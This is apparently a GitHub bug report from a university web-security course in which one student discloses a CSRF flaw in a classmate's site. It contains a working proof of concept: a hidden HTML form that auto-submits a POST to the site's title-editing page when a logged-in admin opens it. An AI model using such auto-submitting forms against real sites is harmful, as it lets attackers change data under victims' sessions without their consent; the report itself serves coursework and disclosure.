search

Taiwan-Tech-WebSec / Bug-Report

4 stars 0 forks source link

B10815062之漏洞回報 #79

Closed B10732018 closed 2 years ago

B10732018 commented 2 years ago

攻擊者學號：B10732018 @B10732018

被攻擊者學號與網址：B10815062 @yochan0412 https://demo.yochan.live/

漏洞類型：CSRF(admin)

漏洞描述 按照PoC構造一個網站，admin登入狀態下點開title就會被更改。

PoC a.html

<form id="edit_form" method="POST" action="https://demo.yochan.live/edit_title.php" style="display:none" >

            <input id="title" placeholder="Title_name" required="" autofocus="" type="text" name="title" value="hacked"><br><br>

            <button type="submit" id="csrf-btn">Edit</button>
        </form>

<script>document.getElementById("csrf-btn").click();</script>

image